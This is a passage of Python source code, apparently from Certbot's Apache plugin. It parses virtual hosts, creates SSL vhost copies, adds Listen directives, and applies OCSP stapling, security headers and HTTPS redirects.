            elif any(addr.get_addr() == target_name for addr in vhost.addrs):
                points = 1
            else:
                # No points given if names can't be found.
                # This gets hit but doesn't register
                continue  # pragma: no cover

            if vhost.ssl:
                points += 3

            if points > best_points:
                best_points = points
                best_candidate = vhost

        # No winners here... is there only one reasonable vhost?
        if best_candidate is None:
            # reasonable == Not all _default_ addrs
            vhosts = self._non_default_vhosts()
            # remove mod_macro hosts from reasonable vhosts
            reasonable_vhosts = [vh for vh
                                 in vhosts if vh.modmacro is False]
            if len(reasonable_vhosts) == 1:
                best_candidate = reasonable_vhosts[0]

        return best_candidate

    def _non_default_vhosts(self):
        """Return all non _default_ only vhosts."""
        return [vh for vh in self.vhosts if not all(
            addr.get_addr() == "_default_" for addr in vh.addrs
        )]

    def get_all_names(self):
        """Returns all names found in the Apache Configuration.

        :returns: All ServerNames, ServerAliases, and reverse DNS entries for
                  virtual host addresses
        :rtype: set

        """
        all_names = set()

        vhost_macro = []

        for vhost in self.vhosts:
            all_names.update(vhost.get_names())
            if vhost.modmacro:
                vhost_macro.append(vhost.filep)

            for addr in vhost.addrs:
                if common.hostname_regex.match(addr.get_addr()):
                    all_names.add(addr.get_addr())
                else:
                    name = self.get_name_from_ip(addr)
                    if name:
                        all_names.add(name)

        if len(vhost_macro) > 0:
            zope.component.getUtility(interfaces.IDisplay).notification(
                "Apache mod_macro seems to be in use in file(s):\n{0}"
                "\n\nUnfortunately mod_macro is not yet supported".format(
                    "\n  ".join(vhost_macro)))

        return all_names

    def get_name_from_ip(self, addr):  # pylint: disable=no-self-use
        """Returns a reverse dns name if available.

        :param addr: IP Address
        :type addr: ~.common.Addr

        :returns: name or empty string if name cannot be determined
        :rtype: str

        """
        # If it isn't a private IP, do a reverse DNS lookup
        if not common.private_ips_regex.match(addr.get_addr()):
            try:
                socket.inet_aton(addr.get_addr())
                return socket.gethostbyaddr(addr.get_addr())[0]
            except (socket.error, socket.herror, socket.timeout):
                pass

        return ""

    def _add_servernames(self, host):
        """Helper function for get_virtual_hosts().

        :param host: In progress vhost whose names will be added
        :type host: :class:`~certbot_apache.obj.VirtualHost`

        """
        # Take the final ServerName as each overrides the previous
        servername_match = self.parser.find_dir(
            "ServerName", None, start=host.path, exclude=False)
        serveralias_match = self.parser.find_dir(
            "ServerAlias", None, start=host.path, exclude=False)

        for alias in serveralias_match:
            serveralias = self.parser.get_arg(alias)
            if not host.modmacro:
                host.aliases.add(serveralias)

        if servername_match:
            # Get last ServerName as each overwrites the previous
            servername = self.parser.get_arg(servername_match[-1])
            if not host.modmacro:
                host.name = servername

    def _create_vhost(self, path):
        """Used by get_virtual_hosts to create vhost objects

        :param str path: Augeas path to virtual host

        :returns: newly created vhost
        :rtype: :class:`~certbot_apache.obj.VirtualHost`

        """
        addrs = set()
        try:
            args = self.aug.match(path + "/arg")
        except RuntimeError:
            logger.warning("Encountered a problem while parsing file: %s, skipping", path)
            return None
        for arg in args:
            addrs.add(obj.Addr.fromstring(self.parser.get_arg(arg)))
        is_ssl = False

        if self.parser.find_dir("SSLEngine", "on", start=path, exclude=False):
            is_ssl = True

        # "SSLEngine on" might be set outside of <VirtualHost>
        # Treat vhosts with port 443 as ssl vhosts
        for addr in addrs:
            if addr.get_port() == "443":
                is_ssl = True

        filename = get_file_path(self.aug.get("/augeas/files%s/path" % get_file_path(path)))
        if filename is None:
            return None

        if self.conf("handle-sites"):
            is_enabled = self.is_site_enabled(filename)
        else:
            is_enabled = True

        macro = False
        if "/macro/" in path.lower():
            macro = True

        vhost = obj.VirtualHost(filename, path, addrs, is_ssl,
                                is_enabled, modmacro=macro)
        self._add_servernames(vhost)
        return vhost

    def get_virtual_hosts(self):
        """Returns list of virtual hosts found in the Apache configuration.

        :returns: List of :class:`~certbot_apache.obj.VirtualHost`
            objects found in configuration
        :rtype: list

        """
        # Search base config, and all included paths for VirtualHosts
        vhs = []
        vhost_paths = {}
        for vhost_path in self.parser.parser_paths.keys():
            paths = self.aug.match(
                ("/files%s//*[label()=~regexp('%s')]" %
                    (vhost_path, parser.case_i("VirtualHost"))))
            paths = [path for path in paths if
                     os.path.basename(path) == "VirtualHost"]
            for path in paths:
                new_vhost = self._create_vhost(path)
                if not new_vhost:
                    continue
                realpath = os.path.realpath(new_vhost.filep)
                if realpath not in vhost_paths.keys():
                    vhs.append(new_vhost)
                    vhost_paths[realpath] = new_vhost.filep
                elif realpath == new_vhost.filep:
                    # Prefer "real" vhost paths instead of symlinked ones
                    # ex: sites-enabled/vh.conf -> sites-available/vh.conf

                    # remove old (most likely) symlinked one
                    vhs = [v for v in vhs if v.filep != vhost_paths[realpath]]
                    vhs.append(new_vhost)
                    vhost_paths[realpath] = realpath

        return vhs

    def is_name_vhost(self, target_addr):
        """Returns if vhost is a name based vhost

        NameVirtualHost was deprecated in Apache 2.4 as all VirtualHosts are
        now NameVirtualHosts. If version is earlier than 2.4, check if addr
        has a NameVirtualHost directive in the Apache config

        :param certbot_apache.obj.Addr target_addr: vhost address

        :returns: Success
        :rtype: bool

        """
        # Mixed and matched wildcard NameVirtualHost with VirtualHost
        # behavior is undefined. Make sure that an exact match exists

        # search for NameVirtualHost directive for ip_addr
        # note ip_addr can be FQDN although Apache does not recommend it
        return (self.version >= (2, 4) or
                self.parser.find_dir("NameVirtualHost", str(target_addr)))

    def add_name_vhost(self, addr):
        """Adds NameVirtualHost directive for given address.

        :param addr: Address that will be added as NameVirtualHost directive
        :type addr: :class:`~certbot_apache.obj.Addr`

        """

        loc = parser.get_aug_path(self.parser.loc["name"])
        if addr.get_port() == "443":
            path = self.parser.add_dir_to_ifmodssl(
                loc, "NameVirtualHost", [str(addr)])
        else:
            path = self.parser.add_dir(loc, "NameVirtualHost", [str(addr)])

        msg = ("Setting %s to be NameBasedVirtualHost\n"
               "\tDirective added to %s\n" % (addr, path))
        logger.debug(msg)
        self.save_notes += msg

    def prepare_server_https(self, port, temp=False):
        """Prepare the server for HTTPS.

        Make sure that the ssl_module is loaded and that the server
        is appropriately listening on port.

        :param str port: Port to listen on

        """

        # If nonstandard port, add service definition for matching
        if port != "443":
            port_service = "%s %s" % (port, "https")
        else:
            port_service = port

        self.prepare_https_modules(temp)
        # Check for Listen <port>
        # Note: This could be made to also look for ip:443 combo
        listens = [self.parser.get_arg(x).split()[0] for
                   x in self.parser.find_dir("Listen")]

        # In case no Listens are set (which really is a broken apache config)
        if not listens:
            listens = ["80"]

        # Listen already in place
        if self._has_port_already(listens, port):
            return

        listen_dirs = set(listens)

        for listen in listens:
            # For any listen statement, check if the machine also listens on
            # Port 443. If not, add such a listen statement.
            if len(listen.split(":")) == 1:
                # Its listening to all interfaces
                if port not in listen_dirs and port_service not in listen_dirs:
                    listen_dirs.add(port_service)
            else:
                # The Listen statement specifies an ip
                _, ip = listen[::-1].split(":", 1)
                ip = ip[::-1]
                if "%s:%s" % (ip, port_service) not in listen_dirs and (
                   "%s:%s" % (ip, port_service) not in listen_dirs):
                    listen_dirs.add("%s:%s" % (ip, port_service))
        self._add_listens(listen_dirs, listens, port)

    def _add_listens(self, listens, listens_orig, port):
        """Helper method for prepare_server_https to figure out which new
        listen statements need adding

        :param set listens: Set of all needed Listen statements
        :param list listens_orig: List of existing listen statements
        :param string port: Port number we're adding
        """

        # Add service definition for non-standard ports
        if port != "443":
            port_service = "%s %s" % (port, "https")
        else:
            port_service = port

        new_listens = listens.difference(listens_orig)

        if port in new_listens or port_service in new_listens:
            # We have wildcard, skip the rest
            self.parser.add_dir_to_ifmodssl(
                parser.get_aug_path(self.parser.loc["listen"]),
                "Listen", port_service.split(" "))
            self.save_notes += "Added Listen %s directive to %s\n" % (
                port_service, self.parser.loc["listen"])
        else:
            for listen in new_listens:
                self.parser.add_dir_to_ifmodssl(
                    parser.get_aug_path(self.parser.loc["listen"]),
                    "Listen", listen.split(" "))
                self.save_notes += ("Added Listen %s directive to "
                                    "%s\n") % (listen,
                                               self.parser.loc["listen"])

    def _has_port_already(self, listens, port):
        """Helper method for prepare_server_https to find out if user
        already has an active Listen statement for the port we need

        :param list listens: List of listen variables
        :param string port: Port in question
        """

        if port in listens:
            return True
        # Check if Apache is already listening on a specific IP
        for listen in listens:
            if len(listen.split(":")) > 1:
                # Ugly but takes care of protocol def, eg: 1.1.1.1:443 https
                if listen.split(":")[-1].split(" ")[0] == port:
                    return True

    def prepare_https_modules(self, temp):
        """Helper method for prepare_server_https, taking care of enabling
        needed modules

        :param boolean temp: If the change is temporary
        """

        if self.conf("handle-modules"):
            if self.version >= (2, 4) and ("socache_shmcb_module" not in
                                           self.parser.modules):
                self.enable_mod("socache_shmcb", temp=temp)
            if "ssl_module" not in self.parser.modules:
                self.enable_mod("ssl", temp=temp)

    def make_addrs_sni_ready(self, addrs):
        """Checks to see if the server is ready for SNI challenges.

        :param addrs: Addresses to check SNI compatibility
        :type addrs: :class:`~certbot_apache.obj.Addr`

        """
        # Version 2.4 and later are automatically SNI ready.
        if self.version >= (2, 4):
            return

        for addr in addrs:
            if not self.is_name_vhost(addr):
                logger.debug("Setting VirtualHost at %s to be a name "
                             "based virtual host", addr)
                self.add_name_vhost(addr)

    def make_vhost_ssl(self, nonssl_vhost):  # pylint: disable=too-many-locals
        """Makes an ssl_vhost version of a nonssl_vhost.

        Duplicates vhost and adds default ssl options
        New vhost will reside as (nonssl_vhost.path) +
        ``certbot_apache.constants.os_constant("le_vhost_ext")``

        .. note:: This function saves the configuration

        :param nonssl_vhost: Valid VH that doesn't have SSLEngine on
        :type nonssl_vhost: :class:`~certbot_apache.obj.VirtualHost`

        :returns: SSL vhost
        :rtype: :class:`~certbot_apache.obj.VirtualHost`

        :raises .errors.PluginError: If more than one virtual host is in
            the file or if plugin is unable to write/read vhost files.

        """
        avail_fp = nonssl_vhost.filep
        ssl_fp = self._get_ssl_vhost_path(avail_fp)

        self._copy_create_ssl_vhost_skeleton(avail_fp, ssl_fp)

        # Reload augeas to take into account the new vhost
        self.aug.load()
        # Get Vhost augeas path for new vhost
        vh_p = self.aug.match("/files%s//* [label()=~regexp('%s')]" %
                              (self._escape(ssl_fp), parser.case_i("VirtualHost")))
        if len(vh_p) != 1:
            logger.error("Error: should only be one vhost in %s", avail_fp)
            raise errors.PluginError("Currently, we only support "
                                     "configurations with one vhost per file")
        else:
            # This simplifies the process
            vh_p = vh_p[0]

        # Update Addresses
        self._update_ssl_vhosts_addrs(vh_p)

        # Add directives
        self._add_dummy_ssl_directives(vh_p)
        self.save()

        # Log actions and create save notes
        logger.info("Created an SSL vhost at %s", ssl_fp)
        self.save_notes += "Created ssl vhost at %s\n" % ssl_fp
        self.save()

        # We know the length is one because of the assertion above
        # Create the Vhost object
        ssl_vhost = self._create_vhost(vh_p)
        self.vhosts.append(ssl_vhost)

        # NOTE: Searches through Augeas seem to ruin changes to directives
        #       The configuration must also be saved before being searched
        #       for the new directives; For these reasons... this is tacked
        #       on after fully creating the new vhost

        # Now check if addresses need to be added as NameBasedVhost addrs
        # This is for compliance with versions of Apache < 2.4
        self._add_name_vhost_if_necessary(ssl_vhost)

        return ssl_vhost

    def _get_ssl_vhost_path(self, non_ssl_vh_fp):
        # Get filepath of new ssl_vhost
        if non_ssl_vh_fp.endswith(".conf"):
            return non_ssl_vh_fp[:-(len(".conf"))] + self.conf("le_vhost_ext")
        else:
            return non_ssl_vh_fp + self.conf("le_vhost_ext")

    def _sift_rewrite_rule(self, line):
        """Decides whether a line should be copied to a SSL vhost.

        A canonical example of when sifting a line is required:
        When the http vhost contains a RewriteRule that unconditionally
        redirects any request to the https version of the same site.
        e.g:
        RewriteRule ^ https://%{SERVER_NAME}%{REQUEST_URI} [L,QSA,R=permanent]
        Copying the above line to the ssl vhost would cause a
        redirection loop.

        :param str line: a line extracted from the http vhost.

        :returns: True - don't copy line from http vhost to SSL vhost.
        :rtype: bool

        """
        if not line.lstrip().startswith("RewriteRule"):
            return False

        # According to: http://httpd.apache.org/docs/2.4/rewrite/flags.html
        # The syntax of a RewriteRule is:
        # RewriteRule pattern target [Flag1,Flag2,Flag3]
        # i.e. target is required, so it must exist.
        target = line.split()[2].strip()

        # target may be surrounded with quotes
        if target[0] in ("'", '"') and target[0] == target[-1]:
            target = target[1:-1]

        # Sift line if it redirects the request to a HTTPS site
        return target.startswith("https://")

    def _copy_create_ssl_vhost_skeleton(self, avail_fp, ssl_fp):
        """Copies over existing Vhost with IfModule mod_ssl.c> skeleton.

        :param str avail_fp: Pointer to the original available non-ssl vhost
        :param str ssl_fp: Full path where the new ssl_vhost will reside.

        A new file is created on the filesystem.

        """
        # First register the creation so that it is properly removed if
        # configuration is rolled back
        self.reverter.register_file_creation(False, ssl_fp)
        sift = False

        try:
            with open(avail_fp, "r") as orig_file:
                with open(ssl_fp, "w") as new_file:
                    new_file.write("<IfModule mod_ssl.c>\n")

                    comment = ("# Some rewrite rules in this file were "
                              "disabled on your HTTPS site,\n"
                              "# because they have the potential to create "
                              "redirection loops.\n")

                    for line in orig_file:
                        A = line.lstrip().startswith("RewriteCond")
                        B = line.lstrip().startswith("RewriteRule")

                        if not (A or B):
                            new_file.write(line)
                            continue

                        # A RewriteRule that doesn't need filtering
                        if B and not self._sift_rewrite_rule(line):
                            new_file.write(line)
                            continue

                        # A RewriteRule that does need filtering
                        if B and self._sift_rewrite_rule(line):
                            if not sift:
                                new_file.write(comment)
                                sift = True
                            new_file.write("# " + line)
                            continue

                        # We save RewriteCond(s) and their corresponding
                        # RewriteRule in 'chunk'.
                        # We then decide whether we comment out the entire
                        # chunk based on its RewriteRule.
                        chunk = []
                        if A:
                            chunk.append(line)
                            line = next(orig_file)

                            # RewriteCond(s) must be followed by one RewriteRule
                            while not line.lstrip().startswith("RewriteRule"):
                                chunk.append(line)
                                line = next(orig_file)

                            # Now, current line must start with a RewriteRule
                            chunk.append(line)

                            if self._sift_rewrite_rule(line):
                                if not sift:
                                    new_file.write(comment)
                                    sift = True

                                new_file.write(''.join(
                                    ['# ' + l for l in chunk]))
                                continue
                            else:
                                new_file.write(''.join(chunk))
                                continue

                    new_file.write("</IfModule>\n")
        except IOError:
            logger.fatal("Error writing/reading to file in make_vhost_ssl")
            raise errors.PluginError("Unable to write/read in make_vhost_ssl")

        if sift:
            reporter = zope.component.getUtility(interfaces.IReporter)
            reporter.add_message(
                "Some rewrite rules copied from {0} were disabled in the "
                "vhost for your HTTPS site located at {1} because they have "
                "the potential to create redirection loops.".format(avail_fp,
                                                                    ssl_fp),
                reporter.MEDIUM_PRIORITY)

    def _update_ssl_vhosts_addrs(self, vh_path):
        ssl_addrs = set()
        ssl_addr_p = self.aug.match(vh_path + "/arg")

        for addr in ssl_addr_p:
            old_addr = obj.Addr.fromstring(
                str(self.parser.get_arg(addr)))
            ssl_addr = old_addr.get_addr_obj("443")
            self.aug.set(addr, str(ssl_addr))
            ssl_addrs.add(ssl_addr)

        return ssl_addrs

    def _clean_vhost(self, vhost):
        # remove duplicated or conflicting ssl directives
        self._deduplicate_directives(vhost.path,
                                     ["SSLCertificateFile",
                                      "SSLCertificateKeyFile"])
        # remove all problematic directives
        self._remove_directives(vhost.path, ["SSLCertificateChainFile"])

    def _deduplicate_directives(self, vh_path, directives):
        for directive in directives:
            while len(self.parser.find_dir(directive, None,
                                           vh_path, False)) > 1:
                directive_path = self.parser.find_dir(directive, None,
                                                      vh_path, False)
                self.aug.remove(re.sub(r"/\w*$", "", directive_path[0]))

    def _remove_directives(self, vh_path, directives):
        for directive in directives:
            while len(self.parser.find_dir(directive, None,
                                           vh_path, False)) > 0:
                directive_path = self.parser.find_dir(directive, None,
                                                      vh_path, False)
                self.aug.remove(re.sub(r"/\w*$", "", directive_path[0]))

    def _add_dummy_ssl_directives(self, vh_path):
        self.parser.add_dir(vh_path, "SSLCertificateFile",
                            "insert_cert_file_path")
        self.parser.add_dir(vh_path, "SSLCertificateKeyFile",
                            "insert_key_file_path")
        self.parser.add_dir(vh_path, "Include", self.mod_ssl_conf)

    def _add_servername_alias(self, target_name, vhost):
        fp = self._escape(vhost.filep)
        vh_p = self.aug.match("/files%s//* [label()=~regexp('%s')]" %
                              (fp, parser.case_i("VirtualHost")))
        if not vh_p:
            return
        vh_path = vh_p[0]
        if (self.parser.find_dir("ServerName", target_name,
                                 start=vh_path, exclude=False) or
            self.parser.find_dir("ServerAlias", target_name,
                                 start=vh_path, exclude=False)):
            return
        if not self.parser.find_dir("ServerName", None,
                                    start=vh_path, exclude=False):
            self.parser.add_dir(vh_path, "ServerName", target_name)
        else:
            self.parser.add_dir(vh_path, "ServerAlias", target_name)
        self._add_servernames(vhost)

    def _add_name_vhost_if_necessary(self, vhost):
        """Add NameVirtualHost Directives if necessary for new vhost.

        NameVirtualHosts was a directive in Apache < 2.4
        https://httpd.apache.org/docs/2.2/mod/core.html#namevirtualhost

        :param vhost: New virtual host that was recently created.
        :type vhost: :class:`~certbot_apache.obj.VirtualHost`

        """
        need_to_save = False

        # See if the exact address appears in any other vhost
        # Remember 1.1.1.1:* == 1.1.1.1 -> hence any()
        for addr in vhost.addrs:
            # In Apache 2.2, when a NameVirtualHost directive is not
            # set, "*" and "_default_" will conflict when sharing a port
            addrs = set((addr,))
            if addr.get_addr() in ("*", "_default_"):
                addrs.update(obj.Addr((a, addr.get_port(),))
                             for a in ("*", "_default_"))

            for test_vh in self.vhosts:
                if (vhost.filep != test_vh.filep and
                        any(test_addr in addrs for
                            test_addr in test_vh.addrs) and
                        not self.is_name_vhost(addr)):
                    self.add_name_vhost(addr)
                    logger.info("Enabling NameVirtualHosts on %s", addr)
                    need_to_save = True
                    break

        if need_to_save:
            self.save()

    def _escape(self, fp):
        fp = fp.replace(",", "\\,")
        fp = fp.replace("[", "\\[")
        fp = fp.replace("]", "\\]")
        fp = fp.replace("|", "\\|")
        fp = fp.replace("=", "\\=")
        fp = fp.replace("(", "\\(")
        fp = fp.replace(")", "\\)")
        fp = fp.replace("!", "\\!")
        return fp

    ######################################################################
    # Enhancements
    ######################################################################
    def supported_enhancements(self):  # pylint: disable=no-self-use
        """Returns currently supported enhancements."""
        return ["redirect", "ensure-http-header", "staple-ocsp"]

    def enhance(self, domain, enhancement, options=None):
        """Enhance configuration.

        :param str domain: domain to enhance
        :param str enhancement: enhancement type defined in
            :const:`~certbot.constants.ENHANCEMENTS`
        :param options: options for the enhancement
            See :const:`~certbot.constants.ENHANCEMENTS`
            documentation for appropriate parameter.

        :raises .errors.PluginError: If Enhancement is not supported, or if
            there is any other problem with the enhancement.

        """
        try:
            func = self._enhance_func[enhancement]
        except KeyError:
            raise errors.PluginError(
                "Unsupported enhancement: {0}".format(enhancement))
        try:
            func(self.choose_vhost(domain), options)
        except errors.PluginError:
            logger.warning("Failed %s for %s", enhancement, domain)
            raise

    def _enable_ocsp_stapling(self, ssl_vhost, unused_options):
        """Enables OCSP Stapling

        In OCSP, each client (e.g. browser) would have to query the
        OCSP Responder to validate that the site certificate was not revoked.

        Enabling OCSP Stapling, would allow the web-server to query the OCSP
        Responder, and staple its response to the offered certificate during
        TLS. i.e. clients would not have to query the OCSP responder.

        OCSP Stapling enablement on Apache implicitly depends on
        SSLCertificateChainFile being set by other code.

        .. note:: This function saves the configuration

        :param ssl_vhost: Destination of traffic, an ssl enabled vhost
        :type ssl_vhost: :class:`~letsencrypt_apache.obj.VirtualHost`

        :param unused_options: Not currently used
        :type unused_options: Not Available

        :returns: Success, general_vhost (HTTP vhost)
        :rtype: (bool, :class:`~letsencrypt_apache.obj.VirtualHost`)

        """
        min_apache_ver = (2, 3, 3)
        if self.get_version() < min_apache_ver:
            raise errors.PluginError(
                "Unable to set OCSP directives.\n"
                "Apache version is below 2.3.3.")

        if "socache_shmcb_module" not in self.parser.modules:
            self.enable_mod("socache_shmcb")

        # Check if there's an existing SSLUseStapling directive on.
        use_stapling_aug_path = self.parser.find_dir("SSLUseStapling",
                "on", start=ssl_vhost.path)
        if not use_stapling_aug_path:
            self.parser.add_dir(ssl_vhost.path, "SSLUseStapling", "on")

        ssl_vhost_aug_path = self._escape(parser.get_aug_path(ssl_vhost.filep))

        # Check if there's an existing SSLStaplingCache directive.
        stapling_cache_aug_path = self.parser.find_dir('SSLStaplingCache',
                None, ssl_vhost_aug_path)

        # We'll simply delete the directive, so that we'll have a
        # consistent OCSP cache path.
        if stapling_cache_aug_path:
            self.aug.remove(
                    re.sub(r"/\w*$", "", stapling_cache_aug_path[0]))

        self.parser.add_dir_to_ifmodssl(ssl_vhost_aug_path,
                "SSLStaplingCache",
                ["shmcb:/var/run/apache2/stapling_cache(128000)"])

        msg = "OCSP Stapling was enabled on SSL Vhost: %s.\n"%(
                ssl_vhost.filep)
        self.save_notes += msg
        self.save()
        logger.info(msg)

    def _set_http_header(self, ssl_vhost, header_substring):
        """Enables header that is identified by header_substring on ssl_vhost.

        If the header identified by header_substring is not already set,
        a new Header directive is placed in ssl_vhost's configuration with
        arguments from: constants.HTTP_HEADER[header_substring]

        .. note:: This function saves the configuration

        :param ssl_vhost: Destination of traffic, an ssl enabled vhost
        :type ssl_vhost: :class:`~certbot_apache.obj.VirtualHost`

        :param header_substring: string that uniquely identifies a header.
                e.g: Strict-Transport-Security, Upgrade-Insecure-Requests.
        :type str

        :returns: Success, general_vhost (HTTP vhost)
        :rtype: (bool, :class:`~certbot_apache.obj.VirtualHost`)

        :raises .errors.PluginError: If no viable HTTP host can be created or
            set with header header_substring.

        """
        if "headers_module" not in self.parser.modules:
            self.enable_mod("headers")

        # Check if selected header is already set
        self._verify_no_matching_http_header(ssl_vhost, header_substring)

        # Add directives to server
        self.parser.add_dir(ssl_vhost.path, "Header",
                            constants.HEADER_ARGS[header_substring])

        self.save_notes += ("Adding %s header to ssl vhost in %s\n" %
                            (header_substring, ssl_vhost.filep))

        self.save()
        logger.info("Adding %s header to ssl vhost in %s", header_substring,
                    ssl_vhost.filep)

    def _verify_no_matching_http_header(self, ssl_vhost, header_substring):
        """Checks to see if an there is an existing Header directive that
        contains the string header_substring.

        :param ssl_vhost: vhost to check
        :type vhost: :class:`~certbot_apache.obj.VirtualHost`

        :param header_substring: string that uniquely identifies a header.
                e.g: Strict-Transport-Security, Upgrade-Insecure-Requests.
        :type str

        :returns: boolean
        :rtype: (bool)

        :raises errors.PluginEnhancementAlreadyPresent When header
                header_substring exists

        """
        header_path = self.parser.find_dir("Header", None,
                                           start=ssl_vhost.path)
        if header_path:
            # "Existing Header directive for virtualhost"
            pat = '(?:[ "]|^)(%s)(?:[ "]|$)' % (header_substring.lower())
            for match in header_path:
                if re.search(pat, self.aug.get(match).lower()):
                    raise errors.PluginEnhancementAlreadyPresent(
                        "Existing %s header" % (header_substring))

    def _enable_redirect(self, ssl_vhost, unused_options):
        """Redirect all equivalent HTTP traffic to ssl_vhost.

        .. todo:: This enhancement should be rewritten and will
           unfortunately require lots of debugging by hand.

        Adds Redirect directive to the port 80 equivalent of ssl_vhost
        First the function attempts to find the vhost with equivalent
        ip addresses that serves on non-ssl ports
        The function then adds the directive

        .. note:: This function saves the configuration

        :param ssl_vhost: Destination of traffic, an ssl enabled vhost
        :type ssl_vhost: :class:`~certbot_apache.obj.VirtualHost`

        :param unused_options: Not currently used
        :type unused_options: Not Available

        :raises .errors.PluginError: If no viable HTTP host can be created or
            used for the redirect.

        """
        if "rewrite_module" not in self.parser.modules:
            self.enable_mod("rewrite")
        general_vh = self._get_http_vhost(ssl_vhost)

        if general_vh is None:
            # Add virtual_server with redirect
            logger.debug("Did not find http version of ssl virtual host "
                         "attempting to create")
            redirect_addrs = self._get_proposed_addrs(ssl_vhost)
            for vhost in self.vhosts:
                if vhost.enabled and vhost.conflicts(redirect_addrs):
                    raise errors.PluginError(
                        "Unable to find corresponding HTTP vhost; "
                        "Unable to create one as intended addresses conflict; "
                        "Current configuration does not support automated "
                        "redirection")
            self._create_redirect_vhost(ssl_vhost)
        else:
            if general_vh in self._enhanced_vhosts["redirect"]:
                logger.debug("Already enabled redirect for this vhost")
                return

            # Check if Certbot redirection already exists
            self._verify_no_certbot_redirect(general_vh)

            # Note: if code flow gets here it means we didn't find the exact
            # certbot RewriteRule config for redirection. Finding
            # another RewriteRule is likely to be fine in most or all cases,
            # but redirect loops are possible in very obscure cases; see #1620
            # for reasoning.
            if self._is_rewrite_exists(general_vh):
                logger.warning("Added an HTTP->HTTPS rewrite in addition to "
                               "other RewriteRules; you may wish to check for "
                               "overall consistency.")

            # Add directives to server
            # Note: These are not immediately searchable in sites-enabled
            #     even with save() and load()
            if not self._is_rewrite_engine_on(general_vh):
                self.parser.add_dir(general_vh.path, "RewriteEngine", "on")
            names = ssl_vhost.get_names()
            for idx, name in enumerate(names):
                args = ["%{SERVER_NAME}", "={0}".format(name), "[OR]"]
                if idx == len(names) - 1:
                    args.pop()
                self.parser.add_dir(general_vh.path, "RewriteCond", args)
            if self.get_version() >= (2, 3, 9):
                self.parser.add_dir(general_vh.path, "RewriteRule",
                                    constants.REWRITE_HTTPS_ARGS_WITH_END)
            else:
                self.parser.add_dir(general_vh.path, "RewriteRule",
                                    constants.REWRITE_HTTPS_ARGS)

            self.save_notes += ("Redirecting host in %s to ssl vhost in %s\n" %
                                (general_vh.filep, ssl_vhost.filep))
            self.save()

            self._enhanced_vhosts["redirect"].add(general_vh)
            logger.info("Redirecting vhost in %s to ssl vhost in %s",
                        general_vh.filep, ssl_vhost.filep)

    def _verify_no_certbot_redirect(self, vhost):
        """Checks to see if a redirect was already installed by certbot.

        Checks to see if virtualhost already contains a rewrite rule that is
        identical to Certbot's redirection rewrite rule.

        :param vhost: vhost to check
        :type vhost: :class:`~certbot_apache.obj.VirtualHost`

        :raises errors.PluginEnhancementAlreadyPresent: When the exact
                certbot redirection WriteRule exists in virtual host.
        """
        rewrite_path = self.parser.find_dir(
            "RewriteRule", None, start=vhost.path)

        # There can be other RewriteRule directive lines in vhost config.
        # rewrite_args_dict keys are directive ids and the corresponding value
        # for each is a list of arguments to that directive.
        rewrite_args_dict = defaultdict(list)
        pat = r'.*(directive\[\d+\]).*'
        for match in rewrite_path:
            m = re.match(pat, match)
            if m:
                dir_id = m.group(1)
                rewrite_args_dict[dir_id].append(match)

        if rewrite_args_dict:
            redirect_args = [constants.REWRITE_HTTPS_ARGS,
                             constants.REWRITE_HTTPS_ARGS_WITH_END]

            for matches in rewrite_args_dict.values():
                if [self.aug.get(x) for x in matches] in redirect_args:
                    raise errors.PluginEnhancementAlreadyPresent(
                        "Certbot has already enabled redirection")

    def _is_rewrite_exists(self, vhost):
        """Checks if there exists a RewriteRule directive in vhost

        :param vhost: vhost to check
        :type vhost: :class:`~certbot_apache.obj.VirtualHost`

        :returns: True if a RewriteRule directive exists.
        :rtype: bool

        """
        rewrite_path = self.parser.find_dir(
            "RewriteRule", None, start=vhost.path)
        return bool(rewrite_path)

    def _is_rewrite_engine_on(self, vhost):
        """Checks if a RewriteEngine directive is on

        :param vhost: vhost to check
        :type vhost: :class:`~certbot_apache.obj.VirtualHost`

        """
        rewrite_engine_path_list = self.parser.find_dir("RewriteEngine", "on",
                                                   start=vhost.path)
        if rewrite_engine_path_list:
            for re_path in rewrite_engine_path_list:
                # A RewriteEngine directive may also be included in per
                # directory .htaccess files. We only care about the VirtualHost.
                if 'VirtualHost' in re_path:
                    return self.parser.get_arg(re_path)
        return False

    def _create_redirect_vhost(self, ssl_vhost):
        """Creates an http_vhost specifically to redirect for the ssl_vhost.

        :param ssl_vhost: ssl vhost
        :type ssl_vhost: :class:`~certbot_apache.obj.VirtualHost`

        :returns: tuple of the form
            (`success`, :class:`~certbot_apache.obj.VirtualHost`)
        :rtype: tuple

        """
        text = self._get_redirect_config_str(ssl_vhost)

        redirect_filepath = self._write_out_redirect(ssl_vhost, text)

        self.aug.load()
        # Make a new vhost data structure and add it to the lists
        new_vhost = self._create_vhost(parser.get_aug_path(self._escape(redirect_filepath)))
        self.vhosts.append(new_vhost)
        self._enhanced_vhosts["redirect"].add(new_vhost)

        # Finally create documentation for the change
        self.save_notes += ("Created a port 80 vhost, %s, for redirection to "
                            "ssl vhost %s\n" %
                            (new_vhost.filep, ssl_vhost.filep))

    def _get_redirect_config_str(self, ssl_vhost):
        # get servernames and serveraliases
        serveralias = ""
        servername = ""

        if ssl_vhost.name is not None:
            servername = "ServerName " + ssl_vhost.name
        if ssl_vhost.aliases:
            serveralias = "ServerAlias " + " ".join(ssl_vhost.aliases)

        rewrite_rule_args = []
        if self.get_version() >= (2, 3, 9):
            rewrite_rule_args = constants.REWRITE_HTTPS_ARGS_WITH_END
        else:
            rewrite_rule_args = constants.REWRITE_HTTPS_ARGS

        return ("<VirtualHost %s>\n"
                "%s \n"
                "%s \n"
                "ServerSignature Off\n"
                "\n"
                "RewriteEngine On\n"
                "RewriteRule %s\n"
                "\n"
                "ErrorLog /var/log/apache2/redirect.error.log\n"
                "LogLevel warn\n"
                "</VirtualHost>\n"
                % (" ".join(str(addr) for
                            addr in self._get_proposed_addrs(ssl_vhost)),
                   servername, serveralias,
                   " ".join(rewrite_rule_args)))

    def _write_out_redirect(self, ssl_vhost, text):
        # This is the default name
        redirect_filename = "le-redirect.conf"

        # See if a more appropriate name can be applied
        if ssl_vhost.name is not None:
            # make sure servername doesn't exceed filename length restriction
            if len(ssl_vhost.name) < (255 - (len(redirect_filename) + 1)):
                redirect_filename = "le-redirect-%s.conf" % ssl_vhost.name

        redirect_filepath = os.path.join(self.conf("vhost-root"),
                                         redirect_filename)

        # Register the new file that will be created
        # Note: always register the creation before writing to ensure file will
        # be removed in case of unexpected program exit
        self.reverter.register_file_creation(False, redirect_filepath)

        # Write out file
        with open(redirect_filepath, "w") as redirect_file:
            redirect_file.write(text)
        logger.info("Created redirect file: %s", redirect_filename)

        return redirect_filepath

    def _get_http_vhost(self, ssl_vhost):
